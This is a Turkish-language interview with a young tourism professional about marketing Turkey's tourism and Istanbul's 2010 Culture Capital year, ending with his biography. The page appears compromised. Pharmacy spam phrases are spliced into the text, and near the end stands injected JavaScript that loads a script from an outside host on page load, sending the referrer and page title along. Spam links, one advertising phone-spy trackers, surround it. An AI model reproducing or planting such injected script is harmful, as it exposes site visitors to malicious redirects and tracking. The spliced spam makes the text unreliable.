Evet, Anadolu baştanbaşa tarihi ve kültürel güzelliklerle dolu harika bir coğrafya. Bırakın yabancı turisti, daha bizim bile bilmediğimiz birçok güzellik mevcut Anadolu’da. Ancak bu güzellikler Turizmin hizmetine sunulduğu zaman bir anlam ifade diyor ülkemiz açısından. Peki, bu değerlerimizi tanıtma noktasında neler yapabiliriz? Bu tamamen bir pazarlama stratejisi. Bir bakıyorsunuz, bizim sahip olduğumuz güzelliklerin üçte birine bile sahip olmayan ülkeler kendilerini öyle bir pazarlamışlar ki, her yıl milyonlarca turistin ilgisini çekmeyi başarıyorlar. Mesela, bir yılda Paris’e giden turist sayısıyla, Türkiye’ye toplamda gelen turist sayısı ne yazık ki neredeyse aynı. Bu bir pazarlama olayı. Bu bir imaj yaratma meselesi. Biz de kendi değerimizi, imajımızı oluşturmalıyız. Bunu oluştururken de, kalite, marka, konfor, güven gibi kavramlara vurgu yapmalıyız. Örneğin, bir süre önce “Marka Şehirler” adı altında bir proje hayata geçirildi Turizm Bakanlığı tarafından. Peki, ne oldu o proje? Bunu anlayacak ve hayata geçirecek vizyonu olmayan insanlar yüzünden bu proje çöpe gitti gibi bir şey. Şimdi durup düşünmek gerek, biz nerede hata yapıyoruz diye. Yıllarca bu ülkede Turizme amiyane tabirle, “kolpa iş” gözüyle bakılmış. Evet bakanlık bir proje hayata geçiriyor, ama bunu gerçekleştirecek kapasitede bir turizm bürokrasisi var mı ülkede, işte bu muamma. Bu “Marka Şehirler” projesinde ben, Turizm il müdürlüklerinin ve belediyelerin gösterdiği performansı hiç tasvip etmedim doğrusu. Yani kısaca şunu belirtmek istiyorum: “Suçlu şudur, suçlu budur…” tarzında bir yaklaşımda bulunmak aslında yanlış. Turizm, içerisinde birçok dinamiği barındıran kapsamlı bir sektör ve buradaki defoları sadece belli birilerinin üzerine atmak çok da doğru olmasa gerek. Bence suç hepimizin, Turizme gereken önemi vermediğimiz için bütün toplumun bu suçta payı var. Mesela, bizim derneğimizin sloganı şu: “Turizme Hak Ettiği Değeri Vermek için Gelin Genç Turizmciler de Buluşalım.” Yani gereken değeri vermek gerek. Bu konunun ciddiyetini kavramak gerek.

Bu senenin yarısını tamamlamış vaziyetteyiz. Sizin gelecek sene ile ilgili görüşleriniz nelerdir? buy betapace generic online

Gelecek yılki büyüme de bu yılki gibi olur diye düşünüyorum, yüzde 10-15 civarlarında. Belki İstanbul 2010 Kültür Başkenti vesilesiyle, İstanbul’a gelen ziyaretçi sayısında bir artış gözlenebilir. Ama diğer bölgeler için çok büyük bir patlama olmasını beklemek yanlış olur diye düşünüyorum. Çok olağanüstü bir durum olmadığı sürece, büyümenin devam edeceğine inanıyorum.

Son olarak da gelecek yıl bildiğiniz gibi 2010 İstanbul Avrupa Kültür başkentiyiz. Bu konuda sizin derneğinizin hükümete veya ilgililere teklifleri neler oldu.

Öncelikle şunu belirtmek istiyorum: 2010 Kültür Avrupa Kültür Başkenti olmak, İstanbul’un tanıtımı için çok önemli bir fırsat. Bu olay ilk olarak Türkiye’nin gündemine geldiği zaman, hem Büyükşehir Belediyesi hem de diğer yetkili birimler, İstanbul’un Avrupa Kültür Başkenti seçilmesi konusunda çok çaba gösterdiler. Gerçekten muazzam bir istek ve heyecan söz konusuydu. Herkes, “şu projeyi yapacağız, bunu hayata geçireceğiz” tarzında yoğun bir çalışma içerisindeydi. Kurullar kuruldu, danışma meclisleri oluşturuldu, projeler için isimler bulundu. Ama ne yazık ki, zaman ilerledikçe heyecan kaybolmaya başladı. En son danışma kurulu üyeleri istifa falan etti. Elle tutulu ciddi projeler için hala düğmeye basılamadı. Bu konuda, yöneticilere tavsiyem, eski heyecanı ve isteği tekrar kazanmaları ve bu büyük fırsatın İstanbul’a neler kazandırabileceğini tekrar düşünmeleri. Ayrıca, bu konuda sadece belediyeyi veya yöneticileri de sorumlu tutmak istemiyorum. Çünkü, bu konu için belediyenin bütçesinde projelere ayrılmış önemli paralar var, ama ne dernekler olsun ne de diğer sivil toplum örgütleri sağlam projeler yazıp belediyenin ve AB’nin verdiği ödeneklere talip olmuyor. Aslında bu alanda yapılması gereken o kadar çok proje var ki. Mesela, biz gelecek yıl İstanbul’un tanıtımı için hayata geçireceğimiz bir projemizi bu kaynaklardan fonlandırmak için girişimlere başladık bile. Ben inanıyorum, bu ülkede iyi şeyler yapmak isteyenlere destek verecek o kadar çok kaynak var ki. Yeter ki istekli olalım. Yeter ki çalışkan olalım.

Bulut Bağcı, 27 Haziran 1985’te Çorum’da doğdu. Purchase Boğaziçi Üniversitesi Turizm İşletmeciliği Bölümü’nü bitirdi. Üniversite hayatı boyunca birçok projede yönetici olarak yer aldı. Çalışma hayatına ilk, Conrad İstanbul’da yönetici adayı olarak başladı. Başarılı bir süreçten sonra, aynı pozisyonla Ritz- Carlton İstanbul’da devam etti. 2007 Mayıs itibarı ile Çırağan Palace Kempinski otelde Finans Bölümü’nde çalışmasını sürdüren Bağcı, otelin çeşitli bölümlerinde farklı görevlerde bulunmuştur. Türkiye Turizminde ilk gençlik hareketini başlatan Bağcı, Genç Turizmciler Derneği ile başarılı projelere imza atmıştır. Genç Turizmciler Zirvesi ile sektör yöneticilerini gençler ile buluşturmuştur. Turizm medyasında da yer alan Bağcı, turizmci gençleri konu alan yazıları ile dikkat çekmektedir. Uluslar arası Turizm Asamblesi ile dünyaca ünlü okulların öğrenci konseyi başkanları ile turizm üzerine bir toplantı yapmayı planlayan Bağcı, turizmin gelecekteki gülen yüzüdür. http://businessforumz.com/buy-tinidazole-online-no-prescription/ d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; online http://impactsolutionseurope.com/line-spy-gps-cell-phone-cell-phone-trackers/

Linkler

Reklamlar

Giriş - Powered by Pixelim Media · Ukrayna Turlari | Ozge Tur | Tesla ERP